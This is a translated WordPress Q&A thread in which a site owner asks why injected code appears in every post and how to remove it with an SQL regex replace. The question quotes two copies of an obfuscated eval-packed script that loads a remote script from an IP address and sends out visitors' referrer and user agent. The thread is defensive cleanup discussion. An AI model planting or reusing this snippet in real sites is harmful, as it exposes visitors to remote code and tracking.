为什么黑客会把这些代码添加到每个帖子中,以及如何进行大规模清理?

时间:2019-04-12 作者:NealWalters

下面是我在两篇不同帖子中看到的代码示例:

<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}return p}(\'0.6("<a g=\\\'2\\\' c=\\\'d\\\' e=\\\'b/2\\\' 4=\\\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\\\o="+3(j.i)+"\\\'><\\\\/k"+"l>");n m="q";\',30,30,\'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkfkr|var|u0026u|referrer|fdrht||js|php\'.split(\'|\'),0,{}))
</script></noindex>
第二个示例:

<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'0.6("<a g=\\\'2\\\' c=\\\'d\\\' e=\\\'b/2\\\' 4=\\\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\\\'><\\/k"+"l>");n m="q";\',30,30,\'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzfke|var|u0026u|referrer|dabzy||js|php\'.split(\'|\'),0,{}))
</script></noindex>
为什么黑客会逃脱?

如何进行大规模替换。我可以在MYSQL中执行正则表达式并直接更新WP帖子吗?似乎每个字母上只有几个字母是不同的。

3 个回复
最合适的回答,由SO网友:NealWalters 整理而成

当我使用MariaDB时,以下更新进行了修复:

update wp_posts set post_content = REGEXP_REPLACE(post_content,\'(*CRLF)<noindex>.*</noindex> \',\'\')
请参见https://dba.stackexchange.com/questions/234774/mariadb-multiline-regex/234778#234778

SO网友:MikeNGarrett

很抱歉看到你的网站中有恶意代码。不幸地helping to fix compromised sites is outside the scope of this community.

不过,我可以回答你的第一个问题。此代码看起来有误,但它将流量从您的站点重定向到具有路径的某个IP地址。我说不出确切的原因,但这通常是为了产生推荐流量,生成加密货币,或者破坏浏览器以收集有价值的个人信息。

在您的网站上留下此代码对您的访问者来说是危险的。

SO网友:Rick Hellewell

关于如何清理网站,google(或bing,或ducks)上有很多信息。你的问题确实超出了这个地方的范围。

但是,这是经常被问到的问题。您不认识的代码可能会对您的站点和访问者造成危险。(就像“黄铅笔”主题中的代码,以及其他被泄露的主题/插件。)

因此,清洁很重要。这是可以做到的,尽管这是一项工作(我为客户做过)。

关于我的建议,请参见我(已接受)的回答:Is this a hacking script in function.php? . 如果是我的网站(或我管理的网站),这就是我清理网站的过程。

相关推荐

How was my WP site hacked

我的网站,http://www.cancer-study.com, 已被黑客攻击,我无法登录到wp管理员。你能说一下它是如何被黑客入侵的吗?我能做些什么来修复损坏?我可以访问主机。